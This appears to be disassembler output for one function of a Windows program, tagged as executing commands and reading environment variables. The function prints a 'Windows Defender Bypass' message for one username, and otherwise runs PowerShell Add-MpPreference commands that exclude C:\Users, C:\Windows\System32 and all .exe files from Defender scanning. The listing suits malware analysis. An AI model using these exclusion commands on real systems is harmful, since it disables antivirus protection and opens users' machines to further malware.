Function at 0x140002880
Capabilities:
Execute command
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x200]
sub rsp, 0x300
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1f0], rax
xor r14d, r14d
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp - 0x10]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x200
lea rdx, [rbp - 0x10]
lea rcx, str.USERNAME
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], r14
mov qword [rbp - 0x20], r14
lea rax, [rbp - 0x10]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x140002900
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 0x38]
call fcn.140004ed0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rax
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x40], xmm1
lea r8d, [rax + 8]
lea rdx, str.C:Users
lea rcx, [rsp + 0x30]
call fcn.140004ed0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x60], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rsp + 0x50]
call fcn.140004ed0
nop
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r14
mov ecx, 0x40
call fcn.140006240
mov rbx, rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
lea rcx, [rax + 0x40]
mov qword [rbp - 0x80], rcx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea rdi, [rsp + 0x30]
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x78], rbx
mov qword [rbp - 0x70], rbx
lea rax, [rsp + 0x70]
mov qword [rbp - 0x68], rax
mov rdx, rdi
mov rcx, rbx
call fcn.1400044e0
add rbx, 0x20
mov qword [rbp - 0x70], rbx
add rdi, 0x20
lea rax, [rsp + 0x70]
cmp rdi, rax
jne 0x1400029c5
mov rdx, rbx
mov rcx, rbx
call fcn.140004fd0
mov qword [rsp + 0x78], rbx
lea r9, [fcn.140004440]
mov ebx, 2
mov r8d, ebx
lea edx, [rbx + 0x1e]
lea rcx, [rsp + 0x30]
call fcn.14000627c
lea rcx, [rbp - 0x38]
mov rsi, qword [rbp - 0x38]
mov r13, qword [rbp - 0x20]
cmp r13, 0xf
cmova rcx, rsi
mov r8, qword [rbp - 0x28]
cmp r8, 0xb
jne 0x140002a68
lea rdx, str.w3verlaster
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140002a68
lea rdx, str.____Windows_Defender_Bypass_is_unavailable_for_this_user_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004a00
lea rdx, [0x140004bd0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140002d63
mov rsi, qword [rsp + 0x70]
mov r13, qword [rsp + 0x78]
cmp rsi, r13
je 0x140002c87
mov r8d, socket
movabs rdx, 0x8000000000000000
movabs rcx, 0x7fffffffffffffff
mov r15, qword [rsi + 0x10]
mov rax, rcx
sub rax, r15
cmp rax, 0x2f
jb 0x140002e2d
mov r12, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x140002ab6
mov r12, qword [rsi]
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], r14
mov qword [rbp - 0x60], r14
lea r14, [r15 + 0x2f]
mov ebx, recv
lea rdi, [rbp - 0x78]
cmp r14, rbx
jbe 0x140002b42
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x140002aec
mov rbx, rcx
lea rax, [rdx + 0x27]
jmp 0x140002b0e
cmp rbx, 0x16
cmovb rbx, r8
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140002b2d
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002e33
mov rcx, rax
call fcn.140006240
test rax, rax
je 0x140002c6e
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002b3e
test rcx, rcx
je 0x140002b3c
call fcn.140006240
mov rdi, rax
jmp 0x140002b3e
xor edi, edi
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x68], r14
mov qword [rbp - 0x60], rbx
movups xmm0, xmmword [str.powershell.exe_Add_MpPreference__ExclusionPath]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [0x140008810]
movups xmmword [rdi + 0x10], xmm1
movsd xmm0, qword [0x140008820]
movsd qword [rdi + 0x20], xmm0
mov eax, dword [0x140008828]
mov dword [rdi + 0x28], eax
movzx eax, word [0x14000882c]
mov word [rdi + 0x2c], ax
movzx eax, byte [0x14000882e]
mov byte [rdi + 0x2e], al
lea rcx, [rdi + 0x2f]
mov r8, r15
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
lea rcx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova rcx, qword [rbp - 0x78]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp eax, 0xffffffff
je 0x140002bfe
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x140002bf2
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002bed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002c6e
call fcn.140006354
add rsi, 0x20
xor r14d, r14d
jmp 0x140002a72
lea rdx, str.Error_executing_command:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140004a00
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova rdx, qword [rbp - 0x78]
mov r8, qword [rbp - 0x68]
mov rcx, rax
call fcn.140005610
lea rdx, [0x140004bd0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x140002c7a
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c75
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c75
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006354
mov ebx, 0xffffffff
xor r14d, r14d
jmp 0x140002d5b
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], r14
mov qword [rbp - 0x40], r14
mov r8d, 0x3a
lea rdx, str.powershell.exe_Add_MpPreference__ExclusionExtension_.exe
lea rcx, [rbp - 0x58]
call fcn.140004ed0
nop
lea rcx, [rbp - 0x58]
cmp qword [rbp - 0x40], 0xf
cmova rcx, qword [rbp - 0x58]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp eax, 0xffffffff
jne 0x140002d0a
lea rdx, str.Error_executing_command:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140004a00
lea rdx, [rbp - 0x58]
cmp qword [rbp - 0x40], 0xf
cmova rdx, qword [rbp - 0x58]
mov r8, qword [rbp - 0x48]
mov rcx, rax
call fcn.140005610
lea rdx, [0x140004bd0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ebx, 0xffffffff
jmp 0x140002d0d
mov ebx, r14d
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x140002d4b
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d46
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002d46
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006354
mov qword [rbp - 0x48], r14
mov qword [rbp - 0x40], recv
mov byte [rbp - 0x58], 0
mov r13, qword [rbp - 0x20]
mov rsi, qword [rbp - 0x38]
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x140002dc1
mov rdx, qword [rsp + 0x78]
call fcn.140004fd0
mov rdx, qword [rbp - 0x80]
mov rcx, qword [rsp + 0x70]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002daf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002daf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006354
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r14
cmp r13, 0xf
jbe 0x140002dfb
lea rdx, [r13 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140002df3
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002df3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140006354
mov eax, ebx
mov rcx, qword [rbp + 0x1f0]
xor rcx, rsp
call fcn.140006220
lea r11, [rsp + 0x300]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011b0
nop
call fcn.140001110
int3